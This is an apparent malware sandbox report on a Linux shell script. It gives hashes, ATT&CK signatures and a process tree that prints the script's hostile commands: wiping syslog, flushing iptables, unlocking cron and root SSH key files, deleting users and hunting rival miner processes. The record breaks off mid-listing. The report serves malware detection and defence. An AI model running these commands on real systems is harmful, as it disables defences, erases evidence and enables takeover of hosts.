58464df91d5b6c4e2e92a526b8b1c18a8e60eb925073ebccff6d59853c5715b8

Analysis

max time kernel
150s
max time network
11s
platform
debian-9_mipsel
resource
debian9-mipsel-20240226-en
resource tags

arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
24/02/2025, 02:51

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

58464df91d5b6c4e2e92a526b8b1c18a8e60eb925073ebccff6d59853c5715b8.sh
Size

35KB
MD5

f6c0eca5fd90b53e717a05bfa9cd11b7
SHA1

0d88648ee98e9471a04d61b665d8a0c5980b7339
SHA256

58464df91d5b6c4e2e92a526b8b1c18a8e60eb925073ebccff6d59853c5715b8
SHA512

1d7cf4d0d09e41200ec292875aabfef48170bdaa5967ab4be4fd1b733c335bf78bf795ba1cb0c695454868a72bc850e2fd53907aceb12c5829a7e411bff08774
SSDEEP

768:b87mzQ5VFNcDAFLcIwgnoYq0xFBvgmuNytIuz:bOVF+D6cIwgosTz

Score

7^/10

defense_evasion discovery execution persistence privilege_escalation

Malware Config

Signatures

Flushes firewall rules 1 TTPs 1 IoCs

Flushes/ disables firewall rules inside the Linux kernel.

defense_evasion

Disable or Modify System Firewall

T1562.004

pid	Process
709	iptables

Abuse Elevation Control Mechanism: Sudo and Sudo Caching 1 TTPs 1 IoCs

Abuse sudo or cached sudo credentials to execute code.

privilege_escalation defense_evasion

Sudo and Sudo Caching

T1548.003

pid	Process
715	sudo

Attempts to change immutable files 64 IoCs

Modifies inode attributes on the filesystem to allow changing of immutable files.

pid	Process
1852	xargs
1863	xargs
1878	xargs
1526	xargs
1701	xargs
1704	xargs
1720	sed
1873	xargs
1958	xargs
1605	xargs
1629	xargs
1665	xargs
1883	xargs
1963	xargs
1593	xargs
1635	xargs
1641	xargs
1938	xargs
1503	xargs
1677	xargs
1690	sed
1714	sed
1817	xargs
700	chattr
1693	sed
1716	xargs
1842	xargs
1893	xargs
1928	xargs
1683	xargs
1705	sed
1711	sed
1713	xargs
1913	xargs
1695	xargs
1696	sed
1462	xargs
1476	grep
1478	grep
1532	xargs
1888	xargs
1943	xargs
735	chattr
1468	xargs
1647	xargs
1702	sed
1768	xargs
1773	xargs
1827	xargs
1857	xargs
1707	xargs
1723	sed
1812	xargs
1822	xargs
1832	xargs
1837	xargs
1898	xargs
1903	xargs
737	chattr
1488	xargs
1498	xargs
1514	xargs
1520	xargs
1538	xargs

Creates/modifies Cron job 1 TTPs 13 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.slpB8i	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.M6Ozx9	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.YFJx3r	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.Cp8lIh	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.recO81	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.nAts0l	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.fXKdJh	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.rsASzH	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.5VuqnR	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.wwD2Vj	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.GFbc8R	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.NIpkQy	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.SBJ8Y1	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads CPU attributes 1 TTPs 64 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	exim4
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	kill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill

Process Discovery 1 TTPs 50 IoCs

Adversaries may try to discover information about running processes.

discovery

Process Discovery

T1057

pid	Process
1477	ps
1489	ps
1759	ps
1859	ps
1884	ps
1919	ps
1475	ps
1479	ps
1769	ps
1843	ps
1869	ps
1879	ps
1914	ps
1959	ps
1464	ps
1494	ps
1818	ps
1899	ps
1904	ps
1484	ps
1534	ps
1808	ps
1823	ps
1838	ps
1853	ps
1934	ps
1979	ps
1458	ps
1470	ps
1864	ps
1889	ps
1924	ps
1949	ps
1964	ps
1969	ps
1813	ps
1833	ps
1894	ps
1929	ps
1954	ps
1984	ps
1989	ps
1764	ps
1939	ps
1828	ps
1848	ps
1874	ps
1909	ps
1944	ps
1974	ps

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/71/stat	ps
File opened for reading	/proc/479/status	ps
File opened for reading	/proc/165/status	pkill
File opened for reading	/proc/20/cmdline	pkill
File opened for reading	/proc/81/stat	ps
File opened for reading	/proc/22/status	ps
File opened for reading	/proc/16/cmdline	ps
File opened for reading	/proc/338/stat	ps
File opened for reading	/proc/143/cmdline	pkill
File opened for reading	/proc/696/cmdline	pkill
File opened for reading	/proc/113/status	pkill
File opened for reading	/proc/1759/status	ps
File opened for reading	/proc/339/status	ps
File opened for reading	/proc/14/stat	ps
File opened for reading	/proc/74/status	ps
File opened for reading	/proc/9/status	ps
File opened for reading	/proc/14/status	ps
File opened for reading	/proc/76/cmdline	ps
File opened for reading	/proc/1/status	ps
File opened for reading	/proc/8/status	pkill
File opened for reading	/proc/390/stat	ps
File opened for reading	/proc/1849/cmdline	ps
File opened for reading	/proc/37/stat	ps
File opened for reading	/proc/10/status	ps
File opened for reading	/proc/2/status	pkill
File opened for reading	/proc/7/status	pkill
File opened for reading	/proc/113/cmdline	pkill
File opened for reading	/proc/14/status	ps
File opened for reading	/proc/1782/cmdline	ps
File opened for reading	/proc/77/status	ps
File opened for reading	/proc/698/stat	ps
File opened for reading	/proc/104/stat	ps
File opened for reading	/proc/10/status	ps
File opened for reading	/proc/81/cmdline	ps
File opened for reading	/proc/164/status	pkill
File opened for reading	/proc/3/cmdline	pkill
File opened for reading	/proc/5/status	pkill
File opened for reading	/proc/4/cmdline	pkill
File opened for reading	/proc/694/stat	ps
File opened for reading	/proc/675/cmdline	ps
File opened for reading	/proc/512/status	pkill
File opened for reading	/proc/675/cmdline	pkill
File opened for reading	/proc/37/status	pkill
File opened for reading	/proc/10/stat	ps
File opened for reading	/proc/390/stat	ps
File opened for reading	/proc/72/stat	ps
File opened for reading	/proc/338/cmdline	pkill
File opened for reading	/proc/17/cmdline	ps
File opened for reading	/proc/390/status	ps
File opened for reading	/proc/511/status	ps
File opened for reading	/proc/20/cmdline	ps
File opened for reading	/proc/sys/kernel/osrelease	ps
File opened for reading	/proc/1890/status	ps
File opened for reading	/proc/23/stat	ps
File opened for reading	/proc/390/status	ps
File opened for reading	/proc/21/status	pkill
File opened for reading	/proc/675/status	pkill
File opened for reading	/proc/3/status	ps
File opened for reading	/proc/1892/stat	ps
File opened for reading	/proc/18/status	ps
File opened for reading	/proc/76/status	pkill
File opened for reading	/proc/71/status	pkill
File opened for reading	/proc/19/status	pkill
File opened for reading	/proc/73/cmdline	pkill

System Network Configuration Discovery 1 TTPs 1 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1414	ls

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/log_rot	58464df91d5b6c4e2e92a526b8b1c18a8e60eb925073ebccff6d59853c5715b8.sh

/tmp/58464df91d5b6c4e2e92a526b8b1c18a8e60eb925073ebccff6d59853c5715b8.sh
/tmp/58464df91d5b6c4e2e92a526b8b1c18a8e60eb925073ebccff6d59853c5715b8.sh
1⤵
- Writes file to tmp directory
PID:696
- /bin/rm
  rm -rf /var/log/syslog
  2⤵
  PID:697
- /usr/bin/chattr
  chattr -iua /tmp/
  2⤵
  - Attempts to change immutable files
  PID:700
- /usr/bin/chattr
  chattr -iua /var/tmp/
  2⤵
  PID:703
- /usr/bin/chattr
  chattr -R -ia /var/spool/cron
  2⤵
  PID:705
- /usr/bin/chattr
  chattr -ia /etc/crontab
  2⤵
  PID:707
- /sbin/iptables
  iptables -F
  2⤵
  - Flushes firewall rules
  PID:709
- /usr/bin/sudo
  sudo sysctl "kernel.nmi_watchdog=0"
  2⤵
  - Abuse Elevation Control Mechanism: Sudo and Sudo Caching
  PID:715
- - /usr/sbin/sendmail
    sendmail -t
    3⤵
    PID:723
  - - /usr/sbin/exim4
      /usr/sbin/exim4 -Mc 1tmNd5-0000Bf-Sj
      4⤵
      Reads CPU attributes
      PID:739
- - /usr/sbin/sendmail
    sendmail -t
    3⤵
    PID:726
  - - /usr/sbin/exim4
      /usr/sbin/exim4 -Mc 1tmNd5-0000Bi-TK
      4⤵
      PID:738
- - /sbin/sysctl
    sysctl "kernel.nmi_watchdog=0"
    3⤵
    PID:729
- /usr/sbin/userdel
  userdel akay
  2⤵
  PID:732
- /usr/sbin/userdel
  userdel vfinder
  2⤵
  PID:733
- /usr/bin/chattr
  chattr -iae /root/.ssh/
  2⤵
  - Attempts to change immutable files
  PID:735
- /usr/bin/chattr
  chattr -iae /root/.ssh/authorized_keys
  2⤵
  - Attempts to change immutable files
  PID:737
- /bin/rm
  rm -rf "/tmp/addres*"
  2⤵
  PID:740
- /bin/rm
  rm -rf "/tmp/walle*"
  2⤵
  PID:741
- /bin/rm
  rm -rf /tmp/keys
  2⤵
  PID:742
- /bin/ls
  ls -latrh /proc/1
  2⤵
  PID:745
- /bin/grep
  grep exe
  2⤵
  PID:746
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:749
- /bin/ls
  ls -latrh /proc/10
  2⤵
  PID:752
- /bin/grep
  grep exe
  2⤵
  PID:753
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:756
- /bin/ls
  ls -latrh /proc/104
  2⤵
  PID:760
- /bin/grep
  grep exe
  2⤵
  PID:761
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:763
- /bin/grep
  grep exe
  2⤵
  PID:766
- /bin/ls
  ls -latrh /proc/11
  2⤵
  PID:765
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:769
- /bin/ls
  ls -latrh /proc/113
  2⤵
  PID:771
- /bin/grep
  grep exe
  2⤵
  PID:772
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:774
- /bin/grep
  grep exe
  2⤵
  PID:777
- /bin/ls
  ls -latrh /proc/114
  2⤵
  PID:776
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:779
- /bin/grep
  grep exe
  2⤵
  PID:782
- /bin/ls
  ls -latrh /proc/12
  2⤵
  PID:781
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:784
- /bin/ls
  ls -latrh /proc/13
  2⤵
  PID:786
- /bin/grep
  grep exe
  2⤵
  PID:787
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:789
- /bin/grep
  grep exe
  2⤵
  PID:792
- /bin/ls
  ls -latrh /proc/14
  2⤵
  PID:791
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:794
- /bin/grep
  grep exe
  2⤵
  PID:797
- /bin/ls
  ls -latrh /proc/143
  2⤵
  PID:796
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:799
- /bin/grep
  grep exe
  2⤵
  PID:802
- /bin/ls
  ls -latrh /proc/148
  2⤵
  PID:801
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:804
- /bin/grep
  grep exe
  2⤵
  PID:807
- /bin/ls
  ls -latrh /proc/15
  2⤵
  PID:806
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:809
- /bin/grep
  grep exe
  2⤵
  PID:812
- /bin/ls
  ls -latrh /proc/16
  2⤵
  PID:811
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:814
- /bin/grep
  grep exe
  2⤵
  PID:817
- /bin/ls
  ls -latrh /proc/164
  2⤵
  PID:816
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:819
- /bin/grep
  grep exe
  2⤵
  PID:822
- /bin/ls
  ls -latrh /proc/165
  2⤵
  PID:821
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:824
- /bin/grep
  grep exe
  2⤵
  PID:827
- /bin/ls
  ls -latrh /proc/17
  2⤵
  PID:826
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:829
- /bin/grep
  grep exe
  2⤵
  PID:832
- /bin/ls
  ls -latrh /proc/18
  2⤵
  PID:831
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:834
- /bin/grep
  grep exe
  2⤵
  PID:837
- /bin/ls
  ls -latrh /proc/19
  2⤵
  PID:836
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:839
- /bin/grep
  grep exe
  2⤵
  PID:842
- /bin/ls
  ls -latrh /proc/2
  2⤵
  PID:841
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:844
- /bin/grep
  grep exe
  2⤵
  PID:847
- /bin/ls
  ls -latrh /proc/20
  2⤵
  PID:846
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:849
- /bin/grep
  grep exe
  2⤵
  PID:852
- /bin/ls
  ls -latrh /proc/21
  2⤵
  PID:851
- /bin/grep
